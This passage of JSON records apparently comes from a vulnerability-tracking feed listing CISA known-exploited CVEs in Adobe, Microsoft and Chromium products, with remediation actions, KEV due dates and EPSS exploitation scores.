disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.8188,"percentile":0.99646,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-4324&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-4324","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-4324 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-4324&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-4324, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-1297","cveId":"CVE-2010-1297","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Memory Corruption Vulnerability","summary":"Adobe Flash Player contains a memory corruption vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS).","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82531,"percentile":0.99662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-1297&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-1297","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-1297 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-1297&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-1297, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-2572","cveId":"CVE-2010-2572","aliases":[],"kind":"vulnerability","title":"Microsoft PowerPoint Buffer Overflow Vulnerability","summary":"Microsoft PowerPoint contains a buffer overflow vulnerability that alllows for remote code execution.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"PowerPoint","stacks":["Microsoft Office","Microsoft","PowerPoint"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.58646,"percentile":0.99096,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-2572&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-2572","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-2572 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-2572&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-2572, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-2883","cveId":"CVE-2010-2883","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Stack-Based Buffer Overflow Vulnerability","summary":"Adobe Acrobat and Reader contain a stack-based buffer overflow vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS).","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.81376,"percentile":0.99634,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-2883&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-2883","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-2883 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-2883&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-2883, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2011-0609","cveId":"CVE-2011-0609","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Unspecified Vulnerability","summary":"Adobe Flash Player contains an unspecified vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS).","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.63507,"percentile":0.99205,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2011-0609&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2011-0609","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2011-0609 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2011-0609&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2011-0609, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2011-2462","cveId":"CVE-2011-2462","aliases":[],"kind":"vulnerability","title":"Adobe Reader and Acrobat Universal 3D Memory Corruption Vulnerability","summary":"The Universal 3D (U3D) component in Adobe Reader and Acrobat contains a memory corruption vulnerability which could allow remote attackers to execute code or cause denial-of-service (DoS).","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Reader and Acrobat","stacks":["Adobe Acrobat and Reader","Adobe","Reader and Acrobat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88881,"percentile":0.99775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2011-2462&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2011-2462","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2011-2462 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2011-2462&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2011-2462, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-0151","cveId":"CVE-2012-0151","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Authenticode Signature Verification Remote Code Execution Vulnerability","summary":"The Authenticode Signature Verification function in Microsoft Windows (WinVerifyTrust) does not properly validate the digest of a signed portable executable (PE) file, which allows user-assisted remote attackers to execute code.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87658,"percentile":0.99757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-0151&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-0151","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-0151 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-0151&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-0151, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-0754","cveId":"CVE-2012-0754","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Memory Corruption Vulnerability","summary":"Adobe Flash Player contains a memory corruption vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS).","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91085,"percentile":0.99806,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-0754&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-0754","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-0754 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-0754&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-0754, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-0767","cveId":"CVE-2012-0767","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Cross-Site Scripting (XSS) Vulnerability","summary":"Adobe Flash Player contains a XSS vulnerability that allows remote attackers to inject web script or HTML.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06187,"percentile":0.93449,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-0767&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-0767","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-0767 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-0767&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-0767, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-1889","cveId":"CVE-2012-1889","aliases":[],"kind":"vulnerability","title":"Microsoft XML Core Services Memory Corruption Vulnerability","summary":"Microsoft XML Core Services contains a memory corruption vulnerability which could allow for remote code execution.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"XML Core Services","stacks":["Microsoft","XML Core Services"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83516,"percentile":0.99682,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-1889&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-1889","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-1889 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-1889&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-1889, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-4969","cveId":"CVE-2012-4969","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Use-After-Free Vulnerability","summary":"Microsoft Internet Explorer contains a use-after-free vulnerability that allows remote attackers to execute code via a crafted web site.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.8025,"percentile":0.99616,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-4969&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-4969","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-4969 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-4969&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-4969, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-5054","cveId":"CVE-2012-5054","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Integer Overflow Vulnerability","summary":"Adobe Flash Player contains an integer overflow vulnerability that allows remote attackers to execute code via malformed arguments.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.21194,"percentile":0.97568,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-5054&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-5054","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-5054 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-5054&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-5054, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-1331","cveId":"CVE-2013-1331","aliases":[],"kind":"vulnerability","title":"Microsoft Office Buffer Overflow Vulnerability","summary":"Microsoft Office contains a buffer overflow vulnerability that allows remote attackers to execute code via crafted PNG data in an Office document.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.79822,"percentile":0.99606,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-1331&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-1331","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-1331 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-1331&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-1331, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-1646","cveId":"CVE-2016-1646","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Out-of-Bounds Read Vulnerability","summary":"Google Chromium V8 Engine contains an out-of-bounds read vulnerability that allows a remote attacker to cause a denial of service or possibly have another unspecified impact via crafted JavaScript code. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.4811,"percentile":0.98849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-1646&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-1646","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-1646 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-1646&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-1646, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-5198","cveId":"CVE-2016-5198","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Out-of-Bounds Memory Vulnerability","summary":"Google Chromium V8 Engine contains an out-of-bounds memory access vulnerability that allows a remote attacker to perform read/write operations, leading to code execution, via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.34164,"percentile":0.98391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-5198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-5198","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-5198 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-5198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for 